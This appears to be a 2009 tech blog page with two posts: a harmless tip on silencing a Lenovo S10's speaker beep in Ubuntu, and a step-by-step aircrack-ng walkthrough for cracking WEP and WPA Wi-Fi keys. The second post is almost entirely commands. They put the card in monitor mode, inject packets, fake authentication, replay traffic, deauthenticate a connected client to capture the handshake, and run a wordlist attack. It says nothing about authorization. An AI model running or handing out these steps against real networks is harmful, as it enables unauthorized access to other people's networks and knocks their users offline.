Loud beeps from speaker in Lenovo S10

Posted in Lenovo S10, Linux (Ubuntu) with tags , , , , on September 14, 2009 by HydTech

The lenovo S series netbooks can get pretty annoying with the speaker beeping all the time. To disable the speaker beep while plugging and removing the charger, you can change the setting in the BIOS. If there is no option, you must upgrade the BIOS.

Other annoying beep sound when I shut down my Ubuntu. To get rid of this I blacklisted my pc speaker:

gedit /etc/modprobe.d/blacklist

add line
blacklist pcspkr

Save and reboot.

Cracking WEP & WPA with IBM Lenovo X60 – Basics

Posted in BackTrack, fedora, Linux (Ubuntu), opensuse with tags , , , , , , , , , , on September 14, 2009 by HydTech

At first injection with the Intel pro wireless cards was impossible. Then came the ipwraw driver. Now, we no longer need the ipwraw as the iwl3945 card supports injection. Most linux distros now ship with this driver.

Follow these steps for a succesful WEP crack in Ubuntu:

download necessary files
sudo apt-get install aircrack-ng

place card in monitor mode
sudo airmon-ng start wlan0

test injection
sudo aireplay-ng -9 -e linksys -a 00:14:6C:7E:40:80 mon0
(0% means injection not working)

capture data and write to file called output
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w output mon0

fake authentication
sudo aireplay-ng -1 0 -e linksys -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

replay mode
sudo aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

run aircrack
sudo aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap

For WPA cracking follow this:

monitor mode
sudo airmon-ng start wlan0

collect handshake
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w psk mon0

deauth connected client
sudo aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 mon0

cracking
sudo aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
